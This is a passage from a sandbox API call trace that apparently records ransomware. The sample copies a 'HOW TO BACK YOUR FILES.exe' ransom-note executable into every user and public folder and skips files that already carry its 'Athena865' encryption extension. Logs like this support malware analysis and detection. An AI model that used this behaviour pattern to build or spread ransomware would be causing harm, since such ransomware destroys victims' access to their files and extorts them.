Size=0x3a) returned 0x50fe20 [0049.510] lstrcatW (in: lpString1="Recent", lpString2="\\" | out: lpString1="Recent\\") returned="Recent\\" [0049.510] lstrcatW (in: lpString1="Recent\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Recent\\HOW TO BACK YOUR FILES.exe") returned="Recent\\HOW TO BACK YOUR FILES.exe" [0049.510] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default User\\Recent\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default user\\recent\\how to back your files.exe"), bFailIfExists=1) returned 0 [0049.510] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbd1c9ba0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbd1c9ba0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Saved Games", cAlternateFileName="SAVEDG~1")) returned 1 [0049.510] lstrcmpiW (lpString1="Saved Games", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0049.510] lstrcmpiW (lpString1="Saved Games", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0049.510] lstrcpyW (in: lpString1=0x241e874, lpString2="Saved Games" | out: lpString1="Saved Games") returned="Saved Games" [0049.510] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50b498 [0049.510] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x44) returned 0x5177a8 [0049.510] lstrcatW (in: lpString1="Saved Games", lpString2="\\" | out: lpString1="Saved Games\\") returned="Saved Games\\" [0049.510] lstrcatW (in: lpString1="Saved Games\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Saved Games\\HOW TO BACK YOUR FILES.exe") returned="Saved Games\\HOW TO BACK YOUR FILES.exe" [0049.510] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default User\\Saved Games\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default user\\saved games\\how to back your files.exe"), bFailIfExists=1) returned 0 [0049.511] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xbd1c9ba0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbd1c9ba0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Searches", cAlternateFileName="")) returned 1 [0049.511] lstrcmpiW (lpString1="Searches", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0049.511] lstrcmpiW (lpString1="Searches", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0049.511] lstrcpyW (in: lpString1=0x241e874, lpString2="Searches" | out: lpString1="Searches") returned="Searches" [0049.511] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50b4b0 [0049.511] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x3e) returned 0x50fe68 [0049.511] lstrcatW (in: lpString1="Searches", lpString2="\\" | out: lpString1="Searches\\") returned="Searches\\" [0049.511] lstrcatW (in: lpString1="Searches\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Searches\\HOW TO BACK YOUR FILES.exe") returned="Searches\\HOW TO BACK YOUR FILES.exe" [0049.511] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default User\\Searches\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default user\\searches\\how to back your files.exe"), bFailIfExists=1) returned 0 [0049.511] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x30702f92, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x30702f92, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x30702f92, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SendTo", cAlternateFileName="")) returned 1 [0049.511] lstrcmpiW (lpString1="SendTo", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0049.512] lstrcmpiW (lpString1="SendTo", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0049.512] lstrcpyW (in: lpString1=0x241e874, lpString2="SendTo" | out: lpString1="SendTo") returned="SendTo" [0049.512] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50b4c8 [0049.512] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x3a) returned 0x50feb0 [0049.512] lstrcatW (in: lpString1="SendTo", lpString2="\\" | out: lpString1="SendTo\\") returned="SendTo\\" [0049.512] lstrcatW (in: lpString1="SendTo\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="SendTo\\HOW TO BACK YOUR FILES.exe") returned="SendTo\\HOW TO BACK YOUR FILES.exe" [0049.512] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default User\\SendTo\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default user\\sendto\\how to back your files.exe"), bFailIfExists=1) returned 0 [0049.512] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x30702f92, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x30702f92, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x30702f92, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Start Menu", cAlternateFileName="STARTM~1")) returned 1 [0049.512] lstrcmpiW (lpString1="Start Menu", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0049.512] lstrcmpiW (lpString1="Start Menu", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0049.512] lstrcpyW (in: lpString1=0x241e874, lpString2="Start Menu" | out: lpString1="Start Menu") returned="Start Menu" [0049.512] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50b4e0 [0049.512] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x42) returned 0x5177f8 [0049.512] lstrcatW (in: lpString1="Start Menu", lpString2="\\" | out: lpString1="Start Menu\\") returned="Start Menu\\" [0049.512] lstrcatW (in: lpString1="Start Menu\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Start Menu\\HOW TO BACK YOUR FILES.exe") returned="Start Menu\\HOW TO BACK YOUR FILES.exe" [0049.512] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default User\\Start Menu\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default user\\start menu\\how to back your files.exe"), bFailIfExists=1) returned 0 [0049.513] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x30702f92, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x30702f92, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x30702f92, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1 [0049.513] lstrcmpiW (lpString1="Templates", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0049.513] lstrcmpiW (lpString1="Templates", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0049.513] lstrcpyW (in: lpString1=0x241e874, lpString2="Templates" | out: lpString1="Templates") returned="Templates" [0049.513] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50b4f8 [0049.513] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x40) returned 0x50fef8 [0049.513] lstrcatW (in: lpString1="Templates", lpString2="\\" | out: lpString1="Templates\\") returned="Templates\\" [0049.513] lstrcatW (in: lpString1="Templates\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Templates\\HOW TO BACK YOUR FILES.exe") returned="Templates\\HOW TO BACK YOUR FILES.exe" [0049.513] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default User\\Templates\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default user\\templates\\how to back your files.exe"), bFailIfExists=1) returned 0 [0049.513] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbd1efd00, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbd1efd00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Videos", cAlternateFileName="")) returned 1 [0049.513] lstrcmpiW (lpString1="Videos", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0049.514] lstrcmpiW (lpString1="Videos", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0049.514] lstrcpyW (in: lpString1=0x241e874, lpString2="Videos" | out: lpString1="Videos") returned="Videos" [0049.514] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50b510 [0049.514] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x3a) returned 0x50ff40 [0049.514] lstrcatW (in: lpString1="Videos", lpString2="\\" | out: lpString1="Videos\\") returned="Videos\\" [0049.514] lstrcatW (in: lpString1="Videos\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Videos\\HOW TO BACK YOUR FILES.exe") returned="Videos\\HOW TO BACK YOUR FILES.exe" [0049.514] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default User\\Videos\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default user\\videos\\how to back your files.exe"), bFailIfExists=1) returned 0 [0049.514] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbd1efd00, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbd1efd00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Videos", cAlternateFileName="")) returned 0 [0049.514] FindClose (in: hFindFile=0x529410 | out: hFindFile=0x529410) returned 1 [0049.514] ReleaseMutex (hMutex=0xec) returned 1 [0049.514] CloseHandle (hObject=0xec) returned 1 [0049.514] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Users\\Public" | out: lpString1="C:\\Users\\Public") returned="C:\\Users\\Public" [0049.514] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50e210 | out: hHeap=0x4f0000) returned 1 [0049.514] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50dd60 | out: hHeap=0x4f0000) returned 1 [0049.514] lstrlenW (lpString="C:\\Users\\Public") returned 15 [0049.514] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\C665E0837E3C9CD48926D0C50A4CC7C8") returned 0xec [0049.515] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0049.515] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Public" | out: lpString1="C:\\Users\\Public") returned="C:\\Users\\Public" [0049.515] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0049.515] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Public\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\public\\how to back your files.exe"), bFailIfExists=1) returned 0 [0049.515] CreateFileW (lpFileName="C:\\Users\\Public\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\public\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0049.515] GetLastError () returned 0x0 [0049.515] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0049.515] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x532d08 [0049.515] ReadFile (in: hFile=0xf4, lpBuffer=0x532d08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x532d08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0049.516] CloseHandle (hObject=0xf4) returned 1 [0049.516] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x532d08 | out: hHeap=0x4f0000) returned 1 [0049.516] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0049.516] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbd23bfc0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbd23bfc0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529410 [0049.516] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0049.516] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0049.517] lstrcpyW (in: lpString1=0x241e868, lpString2="Desktop" | out: lpString1="Desktop") returned="Desktop" [0049.517] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50dd60 [0049.517] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x30) returned 0x51a910 [0049.517] lstrcatW (in: lpString1="Desktop", lpString2="\\" | out: lpString1="Desktop\\") returned="Desktop\\" [0049.517] lstrcatW (in: lpString1="Desktop\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Desktop\\HOW TO BACK YOUR FILES.exe") returned="Desktop\\HOW TO BACK YOUR FILES.exe" [0049.517] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Public\\Desktop\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\public\\desktop\\how to back your files.exe"), bFailIfExists=1) returned 0 [0049.517] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x286e4016, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x286e4016, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28a4ffbc, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x3b0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini.Athena865", cAlternateFileName="")) returned 1 [0049.517] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0049.517] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0049.517] lstrcpyW (in: lpString1=0x241e868, lpString2="desktop.ini.Athena865" | out: lpString1="desktop.ini.Athena865") returned="desktop.ini.Athena865" [0049.517] lstrlenW (lpString="desktop.ini.Athena865") returned 21 [0049.517] lstrlenW (lpString="Athena865") returned 9 [0049.517] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0049.517] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc47519e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc47519e0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents", cAlternateFileName="DOCUME~1")) returned 1 [0049.517] lstrcmpiW (lpString1="Documents", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0049.517] lstrcmpiW (lpString1="Documents", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0049.517] lstrcpyW (in: lpString1=0x241e868, lpString2="Documents" | out: lpString1="Documents") returned="Documents" [0049.517] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50b528 [0049.518] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x34) returned 0x529a90 [0049.518] lstrcatW (in: lpString1="Documents", lpString2="\\" | out: lpString1="Documents\\") returned="Documents\\" [0049.518] lstrcatW (in: lpString1="Documents\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Documents\\HOW TO BACK YOUR FILES.exe") returned="Documents\\HOW TO BACK YOUR FILES.exe" [0049.518] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Public\\Documents\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\public\\documents\\how to back your files.exe"), bFailIfExists=1) returned 0 [0049.518] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbd2ae3e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbd2ae3e0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Downloads", cAlternateFileName="DOWNLO~1")) returned 1 [0049.518] lstrcmpiW (lpString1="Downloads", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0049.518] lstrcmpiW (lpString1="Downloads", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0049.518] lstrcpyW (in: lpString1=0x241e868, lpString2="Downloads" | out: lpString1="Downloads") returned="Downloads" [0049.518] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50b540 [0049.518] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x34) returned 0x529ad0 [0049.518] lstrcatW (in: lpString1="Downloads", lpString2="\\" | out: lpString1="Downloads\\") returned="Downloads\\" [0049.518] lstrcatW (in: lpString1="Downloads\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Downloads\\HOW TO BACK YOUR FILES.exe") returned="Downloads\\HOW TO BACK YOUR FILES.exe" [0049.518] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Public\\Downloads\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\public\\downloads\\how to back your files.exe"), bFailIfExists=1) returned 0 [0049.519] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbc608f00, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc608f00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Favorites", cAlternateFileName="FAVORI~1")) returned 1 [0049.519] lstrcmpiW (lpString1="Favorites", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0049.519] lstrcmpiW (lpString1="Favorites", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0049.519] lstrcpyW (in: lpString1=0x241e868, lpString2="Favorites" | out: lpString1="Favorites") returned="Favorites" [0049.519] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50b558 [0049.519] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x34) returned 0x529b10 [0049.519] lstrcatW (in: lpString1="Favorites", lpString2="\\" | out: lpString1="Favorites\\") returned="Favorites\\" [0049.519] lstrcatW (in: lpString1="Favorites\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Favorites\\HOW TO BACK YOUR FILES.exe") returned="Favorites\\HOW TO BACK YOUR FILES.exe" [0049.519] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Public\\Favorites\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\public\\favorites\\how to back your files.exe"), bFailIfExists=1) returned 0 [0049.519] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc3a7900, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbc3a7900, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0049.519] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0049.519] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbd2d4540, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbd2d4540, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Libraries", cAlternateFileName="LIBRAR~1")) returned 1 [0049.519] lstrcmpiW (lpString1="Libraries", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0049.519] lstrcmpiW (lpString1="Libraries", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0049.519] lstrcpyW (in: lpString1=0x241e868, lpString2="Libraries" | out: lpString1="Libraries") returned="Libraries" [0049.519] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50b570 [0049.519] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x34) returned 0x529b50 [0049.520] lstrcatW (in: lpString1="Libraries", lpString2="\\" | out: lpString1="Libraries\\") returned="Libraries\\" [0049.520] lstrcatW (in: lpString1="Libraries\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Libraries\\HOW TO BACK YOUR FILES.exe") returned="Libraries\\HOW TO BACK YOUR FILES.exe" [0049.520] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Public\\Libraries\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\public\\libraries\\how to back your files.exe"), bFailIfExists=1) returned 0 [0049.520] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbd2d4540, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbd2d4540, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Music", cAlternateFileName="")) returned 1 [0049.520] lstrcmpiW (lpString1="Music", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0049.520] lstrcmpiW (lpString1="Music", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0049.520] lstrcpyW (in: lpString1=0x241e868, lpString2="Music" | out: lpString1="Music") returned="Music" [0049.520] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50b588 [0049.520] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x2c) returned 0x51a9f0 [0049.520] lstrcatW (in: lpString1="Music", lpString2="\\" | out: lpString1="Music\\") returned="Music\\" [0049.520] lstrcatW (in: lpString1="Music\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Music\\HOW TO BACK YOUR FILES.exe") returned="Music\\HOW TO BACK YOUR FILES.exe" [0049.520] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Public\\Music\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\public\\music\\how to back your files.exe"), bFailIfExists=1) returned 0 [0049.521] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbd2fa6a0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbd2fa6a0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Pictures", cAlternateFileName="")) returned 1 [0049.521] lstrcmpiW (lpString1="Pictures", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0049.521] lstrcmpiW (lpString1="Pictures", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0049.521] lstrcpyW (in: lpString1=0x241e868, lpString2="Pictures" | out: lpString1="Pictures") returned="Pictures" [0049.521] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50b5a0 [0049.521] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x32) returned 0x529b90 [0049.521] lstrcatW (in: lpString1="Pictures", lpString2="\\" | out: lpString1="Pictures\\") returned="Pictures\\" [0049.521] lstrcatW (in: lpString1="Pictures\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Pictures\\HOW TO 